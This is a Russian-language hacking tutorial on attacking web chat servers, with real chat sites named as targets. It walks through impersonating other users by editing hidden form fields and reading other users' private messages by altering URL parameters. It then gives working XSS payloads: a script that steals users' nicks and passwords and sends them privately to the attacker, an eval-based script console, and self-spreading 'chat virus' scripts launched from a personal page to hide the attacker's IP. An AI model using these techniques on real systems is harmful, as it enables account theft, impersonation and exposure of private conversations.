Что ломать? Посмотрел списки "поломаных" чатов, почитал форум... Зачастую обсуждаемые чаты на своей "примитивности" основаны. Народ писавшие их либо по не опытности, либо по приказу шефа которому нет дела до технических подробностий - увидели чат - довольны, работа сделана, и программисты это знают, а потому и не тратят свое время - забывают даже отфильтровывать теги! Возможно я плохо искал, но нет на сайте нечего о взломах небезизвестных чатов: chat.chat.ru, chat.php.sbp.ru написанных умелыми энтузиастами. Разве эта не легкая добыча, чат сервера, не должна представлять интерес. Не так ли?
Эти чаты конечно известные, но у них столько разных версий, и каждые со своим набором глюков... Описывать каждую версию - влом ))
Первое что вам необходимо сделать при входе в чат, это просмотреть исходник странички логинения. Именно эта страничка может сказать о многом. Есть два варианта логинения, которые используются повсеместно. Вы вводите ваш ник и… все Вы регистрируетесь, и после этого входите в чат. Первый вариант в большинстве своем применяется на неблагополучных чатах. Неблагополучных с точки зрения администрирования. Вы можете взяв чужой ник, который в подобном случае будет идентификатором пользователя, говорить вместо или вместе с другим пользователем. Что для этого надо. Войдя в чат, просмотрите исходник фрейма отправки сообщения. Это фрейм в котором вам предлагается ввести текст для отправки. Сохраните его в какой-нибудь директории. Сам исходник не закрывайте. Найдите тег открытия формы <form, здесь же будет поле action=”…, это первый шаг. В поле action чаще всего хранится относительная ссылка на CGI или DLL чата. Вам необходимо прописать полный путь в чату. Для этого скопируйте путь из браузера в диалоговой строке “адрес”. Добавьте его впереди. Примерно это выглядит так: Строка в браузере: Адрес: www.divan.ru/cgi-bin/ Строка в поле action формы: action=”chat.cgi” То что должно получиться: action=”www.divan.ru/cgi-bin/chat.cgi” В поле action может быть и строка типа chat.cgi?nik=neo. Первое что вы должны проверить это не лежит ли в этой строке ваш ник. Если да… поставьте вместо своего ника чужой и вперед! Кстати не забудьте сохранить формочку, а также это не избавляет вас от необходимости прописать полный путь. Сохранив формочку в отредактированном виде откройте ее в новом браузере. Она может ругаться. Это случается когда формочка общается с другими фреймами, но это не проблема. Просто жмите “отмена”. После того как вы проделали все выше перечисленные действия вы можете написать в диалоговой строке текст и отправить его. Вы скажите за другого юзера. Если ник вы не нашли в поле action не огорчайтесь, где-то он точно лежит. Просмотрите все скрытые поля <input type="hidden", и внимательно смотрите поле value=”… если вы нашли здесь ваш ник считайте вы уже он! Просто правьте ник и проделайте все последующие операции описанные выше. Для удобства работы вы можете исправит тип поля и сделать его видимым. Для этого вместо hidden напишите text. Другой вариант. Вы не нашли вашего ника не а action ни в скрытых полях. Это плохо. Посмотрите нет ли в этих полях кокго-нибудь странного набора цифр и букв? Если есть… мы плохо подумали о админе. Он оказался хитрее. Но отчаиваться еще рано! Просмотрите исходник фрейма самого чата. Посмотрите нет ли там похожих комбинаций. Если есть, значит вы опять на коне. Возьмите идентификатор другого пользователя и впишите вместо своего. И так, продолжаем… Как говорить от имени другого пользователя мы разобрались. Теперь перейдем к приватам. Опыт который мы приобрели в предыдущей главе нам понадобится. Практически во всех чатах, за исключением не html чатов, есть как минимум два фрейма. Один отвечает за отсылку данных в чат, другой за отображение диалога. В данном случае нас интересует последний. Просмотрите исходник этого фрейма. Обычно в теге meta стоит запись типа: <META HTTP-EQUIV="refresh" content="8; URL=?”> Где ? это токи передаваемые в CGI или DLL. Именно они нас и интересуют. Откройте новый браузер, скопируйте строку обозначинную как URL, т.е. ? в строку адреса. Допишите полный адрес, если в URL находился относительный адрес. В токах обязательно, если конечно существует приват, есль идентификатор пользователя в виде user-pass, либо ID, либо просто user. Для того чтобы просмотреть приват другого пользователя вам необходимо заменить значения этих полей на необходимые значения. Нажмите ENTER и любуйтесь… “А если есть регистрация, и идентификатор не показывается?” – спросите вы. Ну тогда, вам в плотную нужно подойти к проблеме поиска дыр. Описание которых вы можете найти на страничке “ Дырки в чатах ”. О подробностях я расскажу позже… Этот раздел, я думаю, интересует всех. В общем то что мы рассматривали выше, всего лишь прелюдия к этой главе, начальные сведения если хотите. Для сознательного восприятия этой главы вам необходимо иметь представление о HTML, и так как не один уважающей себя чат не откажется от парочки скриптов, J-Script. Это необходимый минимум. Кстати, если вы писали на C или хотя бы знакомы с ним, вам не составит труда освоить и J. Основными способами передачи данных от клиента к серверу, для HTML, являются формы, которые можно располагать в тексте HTML. Пример такой страницы вы можете увидеть ниже: 1. <html> 2. <head> 3. <title> 4. </title> 5. </head> 6. <body background="http://www.mafia.spb.ru/back.gif" bgcolor="#000000" text="#3E8695" onLoad="if(parent.ok) document.forms[0].reset();"> 7. <form NAME="form1" method=POST action="chatroom"> 8. <input type=hidden name=realname size=22 value="ник"> 9. <input type=hidden name=pwd value="пароль"> 10. Сообщение для (ткни в Nickname собеседника): 11. <input type=text name=to size=22 value="BCEM"> 12. <table border=0> 13. <tr><td> 14. Сообщение: 15. </td><td> 16. <textarea name=comments COLS=40 ROWS=3></textarea> 17. <input type=hidden name=color value="white"> 18. </td><td> 19. ПРИВАТНОЕ<br><input type="checkbox" name="PRIVAT" value="ON"> 20. <br><input type=submit VALUE="Enter"> 21. </td></tr> 22. </table> 23. </form> 24. </body> 25. </html> Эта формочка отправки сообщений, которую я позаимствовал из http://www.chatroom.ru/ Между прочем, мне понравился способ которым они прикрыли возможность отправлять сообщения из переработанных формочек.(Если вы хотите узнать об этом подробнее обратитесь к странице “ Хитрости админов ”) Что можно о ней сказать? Достаточно много… Идентификация пользователя осуществляется по нику и паролю. Это видно из строк 8 и 9. Как следствие из пункта 1, не создает куки файлов для идентификации. Существует приват, как не странно это тоже важный фактор. В этом вы убедитесь далее. Цвета передаются в текстовом виде! Строка 18. Как я и говорил, используется скрипт, но не используются аплеты. Используется относительная ссылка на сайт. Я взял эту формочку, потому что она наиболее наглядно демонстрирует способ общения клиента с сервером. И далее ситуация описывается гипотетически! Вам необходимо сначала определить прямую ссылку, т.е. в строке 7, chatroom заменить на прямую ссылку. Следующим шагом, при редактировании любой формочки, является отчистка ее от не нужных связей. Здесь главное не переусердствовать, и удалять связи с умом. Во многих случаях формочки берут данные из других фреймов, коих у вас нет. В некоторых случаях вам придется проэмулировать работу чата. Т.е. вам придется сохранить все фреймы, инициализировать переменные в ручную. И только после этого вы добьетесь желаемого результата. Здесь всего этого не надо. Мы видим только один скрипт, который проверяет значение переменной Ok, окна браузера top. В данном случае это переменная которая заведена самим чатом. Для нас она не играет роли. Она будет только создавать ошибку при загрузки формы. Скрытые поля, для удобства сделаем видимыми. Для этого необходимо в строках 8,9,17 поменять hedden на text. Рекомендую подписать поля сразу. Сохраните формочку. Теперь откройте формочку в новом браузере. Все скрытые поля, если вы проделали операции описанные выше правильно, должны быть видимыми. Зайдите в чат под своим паролем и ником. Заполните те же поля в формочке. Эти поля нас не интересуют, т.к. даже если там и не трассятся теги, увидите только вы. Остается два поля color и comments. Поле comments было и до этого открыто, через него вы общались. Вряд ли разработчики были на столько остолопами…. Хотя и такие экземпляры встречаются! Осталось поле Color. Оно нас и интересует. Для начала вставим туда тег. Не забывайте что есть два варианта присваивания значений в HTML, значение ограничено кавычками, и значение не ограничено. В первом случае вам необходимо закрыть кавычки, закрыть тег. Во втором случае закрыть только тег. Напишем “><big>, и отправим. В окне чата посмотрим что получилось. Если при отправке вам браузер сообщил что он не смог установить связь с сервером, или вы увидели что ресурс не доступен, это значит что вы не правильно указали прямую ссылку на сайт, или cgi. Если вы увидели что написанный вами текст выделен размером.. значит удача. Проверьте не трассятся ли равно. Бывает что это единственное что могут противопоставить админы “ size=40> Отошлите сообщение. Кстати! Перед тем как отправлять новое сообщение, вам необходимо нажать кнопку назад на вашем браузере, либо перегрузить страницу. После отправки сообщения на сервер формочка перегрузится, это вы заметите сами. Если и это комбинация работает!.. Он ваш! Возможно что трасятся теги. Тогда попробуйте комбинацию типа “ style=”font-size:30px”. Это на крайней случай… Хотя скрипты вы вставлять не сможете, но картинки и размер шрифтов, законно! В последствии я опишу как достать чужие пароли и ники, при условии что можно вставить скрипт. Итак, мы расковыряли дырку, и теперь можем вставлять теги. Но это через некоторое время надоедает. И начинаешь придумывать новые извраты. Для начала можно просто по прикалываться со скриптами. Тряска экрана, автоматический вход на другие страницы, окна регистрации и .т.п. Но и это не придел! Если идентификация пользователя ведется по паролю и нику… Точнее если пароль хранится у пользователя, а он может хранится в скрытых полях, в ссылках и куки файлах. То естественно его можно достать. Правда с куки файлами у вас врятли получится. Для этого нужно создать собственный web-server, и перенаправить вывод данных из формочки отправки на него. Это можно сделать только подменив ссылку в поле action формочки отправки. Более экстравагантный метод, “игра на дурку”. Вы генерите формочку регистрации и в ней сообщаете что, типа –"Вам нужно ввести ник и пароль вновь! “ Но самый надежный и незаметный способ – вытаскивание информации с помощью скриптов. 1. <iframe name=”frm”></iframe> 2. < script> 3. if (top.document.caption!=”scion”){ 4. if (parent.frames[1].forms[0]){ 5. var str=’www.??.ru/cgi-bin/chat.cgi?action=message?nik=’; 6. str=str+ parent.frames[1].forms[0].nik.value+’&pass’; 7. str=str+ parent.frames[1].forms[0].pass.value+’&to=SHAMAN&msg=’; 8. str=str+ parent.frames[1].forms[0].pass.value; 9. frm.document.location=str; 10. } 11. } 12. </script> Этот скрипт выполняет следующие действия: Строка 3: если заголовок окна не “scion”.(Единственное место где мы можем хранить информацию не боясь того что скрипт или перезагрузка страницы убьет ее.) Строка 4: если существует формочка отправки. (Ее может и не быть. Странички могут загружаться асинхронно! Строка 5,6,7: формируем ссылку на тот же чат, но задаем параметры вывода сообщения в привате, пользователю под ником “SHAMAN”. Само сообщение содержит пароль пользователя. Но как известно приват видят два пользователя, кто отправляет и кто получает. Конечно можно оставить и так, но если вы хотите чтобы пользователи не знали о вашей проделки в полях 6 и 7 замените код получения ника из формочки на статичные данные, т.е. свой ник и пароль, либо зарегайте виртуальный ник. Внимание! В этом случае при просмотре исходника HTML ваш пароль будет виден! Не надо торопиться ! Эти слова я твержу себе всегда. Возьмите и вы их за основу своей деятельности. Мы дошли до момента когда получаем над чатом полный контроль, но так ли это? Всегда нужно говорить себе что все намного сложнее и хуже Что если ID или пароли хранятся в переменных? А может они хранятся в Cooke, или в других фреймах? Может перед тем как отправлять сообщение необходимо его сначала закодировать чтобы чат его отобразил? Все эти может, конечно можно обойти. Обойти двумя путями: На месте разбираюсь и кидаю скрипт. Основные страницы чата, перекачиваются к себе и тупо глядя в код, пишется скрипт который адекватно работает в среде. Первый метод обсалютно не приемлем. В большинстве случаев в скрипте написанном на ходу будет куча багов. Те в свою очередь вызавут неадекватную реакцию у браузеров. И вы себя сдадите. Второй метод более приемлем, но вам придется эмулировать работу чата. Это мало занятная вещь. Есть более элегантный выход. Напишите стопроцентно работающий скрипт и работайте в среде чата! < script> a=window.open(); a=a.document; a.clear(); a.write(‘<html><input type=”text” name=”exec”><input type=”button” value=”Exec” onclick=”eval(exec .value)”></html>’); </script> Выполнившись он откроет окно и создаст HTML код который будет по отношению к чату локальным. Это позволит иметь доступ ко всем переменным чата, скрытым полям, фреймам. Конечно придется идентифицировать себя, иначе эта страница откроется у всех пользователей Усложнив его можно сделать редактор скриптов в чат ресурсе. При этом сам скрипт будет практически чата независим т.к. не использует его особенностей. Конечно у вас возникнит вопрос: “А как мне себе идентифицировать?” На что я вам скажу: “А много людей работают на разрешении 640x480?” Кто не понял, посмотрите свойства window.screen. ВАЖНО И так. Для чего нужна рассредоточенная атака. Есть ситуации в которых очень опасно выходить, даже под проксиком в чат который вы наметили для атаки. Вам нужно скрыть не только свой IP но и вообще не показываться там! Для этого можно использовать свою личную страничку, такую как например http://www.narod.ru/ или http://www.chat.ru/ В страничке вы описываете скрипт, который под заранее зарегистрированными никами посылает сообщения в чат жертву. Для чего несколько ников? Админ постарается убить вас. Но если вы заготовите ников 10-20… то как минимум 20 атак увенчаются успехом! При этом вы получите следующие плюсы: Вы появляетесь в чате в самое неожиданное время. Вас не вычислят по IP, так как скрипт работает на машине клиента, а следовательно IP будет его. Админ еще долго будит думать где вы живете… Этот вариант конечно имеет и минусы. Основной минус это то что вам необходимо раскрутить свою страничку. Чтобы атаки были массированными. Другой вариант предполагает наличие другого чата, также с дырками. Вариант просто обалденный! Вы пишите скриптец, который первым делом перелазит в дырку которую вы нашли у всех клиентов. И при каждой отправки клиентом сообщения попадает опять в чат. Таким образом вы пишите что-то типа чат вируса. Но размножение это не главное! Главное, что при каждом refrash скрипт отсылает сообщение в тот чат который вы выбрали для атаки! Особенно это действенно когда вы сообщаете оба чата! То есть вы пишите скрипт который отправляет себе в другой чат, отправляет себя в свой чат, и выполняет побочные действия. В этом случае если даже админ одного из чатов, заподозрит чтото не ладное и удалит ваш скрипт… это не беда! Он появится опять! Как только в другой чат войдет клиент! Примеры испробованных мною скриптов: <iframe name=frm width=0 height=0></iframe> < script> frm.lopcation=’www.??.ru/cgi-bin/chat/chat.cgi?action=message&nik=?&pass=?&color=?&msg=Hi!’; </script> Пример с несколькими никами: <iframe name=frm width=0 height=0></iframe> < script> function createArray(num) { this.length = num; for (var i = 1; i <= num; i++) this = ‘’; } var sel=Math.round(Math.random()*2+1) var nik = new createArray(2); var pass = new createArray(2); nik[1]=’nik1’; pass[1]=’123’; nik[2]=’nik2’; pass[2]=’123’; frm.lopcation=’www.??.ru/cgi-bin/chat/chat.cgi?action=message&nik=’+nik[sel] +’&pass=’+pass[sel]+’&color=&msg=Hi’; </script> Примечание: Скрипт должен быть объединен в одну строку! Плавающий фрейм “frm” нужен для того чтобы пользователь не видел что происходит Это достигается установкой.